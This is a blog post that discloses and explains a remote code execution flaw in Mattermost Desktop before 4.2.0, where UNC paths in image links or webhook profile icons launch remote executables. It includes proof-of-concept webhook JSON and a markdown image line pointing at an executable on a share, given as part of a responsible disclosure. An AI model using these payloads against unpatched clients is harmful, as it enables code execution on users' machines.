RCE in Mattermost Desktop earlier than 4.2.0
Tags: mattermost, security, vulnerability
Published: 2019-01-07 22:29:57

---
title: "RCE in Mattermost Desktop earlier than 4.2.0"
published: true
description: Launching UNC Urls with the default program, what could go wrong?
tags: mattermost, security, vulnerability
---


First things first, if you use [Mattermost Desktop](https://github.com/mattermost/desktop) and aren't already on 4.2.0, you should update immediately.

![](https://gist.github.com/nlowe/7052401fc0982463c3ed085a21a3a85d/raw/c972bc858b9968da9b71c349f51388e0cab4f11c/chat.png)

What a way to end a Monday.

## Discovery

Jeff Ziegener and Scott Payne first discovered this while trying to set the profile image for an integration to a UNC path. They discovered that when the integration would post a message, it would open the image at the specified UNC path... in **Windows Photo Viewer**! After some further digging, we discovered this wasn't limited to just photos. We could open any executable the user had access to on a remote share. We could also make users visit arbitrary web pages in their default browser by setting the integration profile picture to a UNC path to a shortcut. For example, sending the following payload to an incoming webhook produces this result:

```json
{
  "text": "Windows Photo Viewer",
  "username": "Windows Photo Viewer",
  "icon_url": "\\\\some-server\\some-share\\tux.png"
}
```

![](https://gist.github.com/nlowe/7052401fc0982463c3ed085a21a3a85d/raw/c972bc858b9968da9b71c349f51388e0cab4f11c/integration-example.gif)

## Investigation

Further digging indicated that even though UNC Paths to `localhost` / `127.0.0.1` were blocked, we could open local executables if we knew the machine name of the target user and they had administrative shares enabled. For example, if my machine name is `win-01234`, I could open a local instance of `calc.exe` by linking to `\\win-01234\c$\windows\system32\calc.exe`:

```json
{
  "text": "Calculator!",
  "username": "calc.exe",
  "icon_url": "\\\\win-01234\\c$\\windows\\system32\\calc.exe"
}
```

![](https://gist.github.com/nlowe/7052401fc0982463c3ed085a21a3a85d/raw/c972bc858b9968da9b71c349f51388e0cab4f11c/integration-local-example.gif)

Even better, every time you re-render the channel, it'll open **all image links** that were rendered:

![](https://gist.github.com/nlowe/7052401fc0982463c3ed085a21a3a85d/raw/c972bc858b9968da9b71c349f51388e0cab4f11c/open-all.gif)

After reporting the bug to mattermost, we discovered that we could reproduce the bug by simply sending a message with a link or an image with a UNC path. Mattermost Desktop will open the link with the default application when clicked, or ***automaticially when the channel is rendered*** for image links. This means I can post the following message:

```markdown
![](\\some-server-you-can-access\some-share\virus.exe)
```

And mattermost will happily execute the program at that path!

![](https://gist.github.com/nlowe/7052401fc0982463c3ed085a21a3a85d/raw/c972bc858b9968da9b71c349f51388e0cab4f11c/local.gif)

Want to rick-roll everyone in a channel? Make a shortcut people can access:

![](https://gist.github.com/nlowe/7052401fc0982463c3ed085a21a3a85d/raw/c972bc858b9968da9b71c349f51388e0cab4f11c/shortcut.png)

![](https://gist.github.com/nlowe/7052401fc0982463c3ed085a21a3a85d/raw/c972bc858b9968da9b71c349f51388e0cab4f11c/rickroll.gif)

## Details

Versions of the Desktop application prior to 4.2.0 contain a vulnerability in the way certain image links are handled. Given a profile picture or image link with a non-http protocol, if the `host` segment of the URL doesn't match the regular expression `^localhost$|^127\.0\.0\.1$|^\[::1\]$`, the URL is then passed to electron's [`shell.openExternal(...)`](https://electronjs.org/docs/api/shell#shellopenexternalurl-options-callback):

> Open the given external protocol URL in the desktop's default manner. (For example, mailto: URLs in the user's default mail agent).

This functionality was removed in [c86182](https://github.com/mattermost/desktop/commit/c861827d3212468bb42dcd465642152c40721761).

## Disclosure Timeline

* 2018-10-22: Issue initially discovered by Jeff Ziegener and Scott Payne at Hyland Software
* 2018-10-23: Issue disclosed to Mattermost per the [Responsible Discolsure Policy](https://about.mattermost.com/report-security-issue/)
* 2018-10-24: Issue confirmed by Mattermost
* 2018-10-28: Fix [merged](https://github.com/mattermost/desktop/pull/881) to `master`
* 2018-11-27: Mattermost Desktop 4.2.0 released with the fix
* 2019-01-02: Vulnerability details released by Mattermost
* 2019-01-07: Writeup published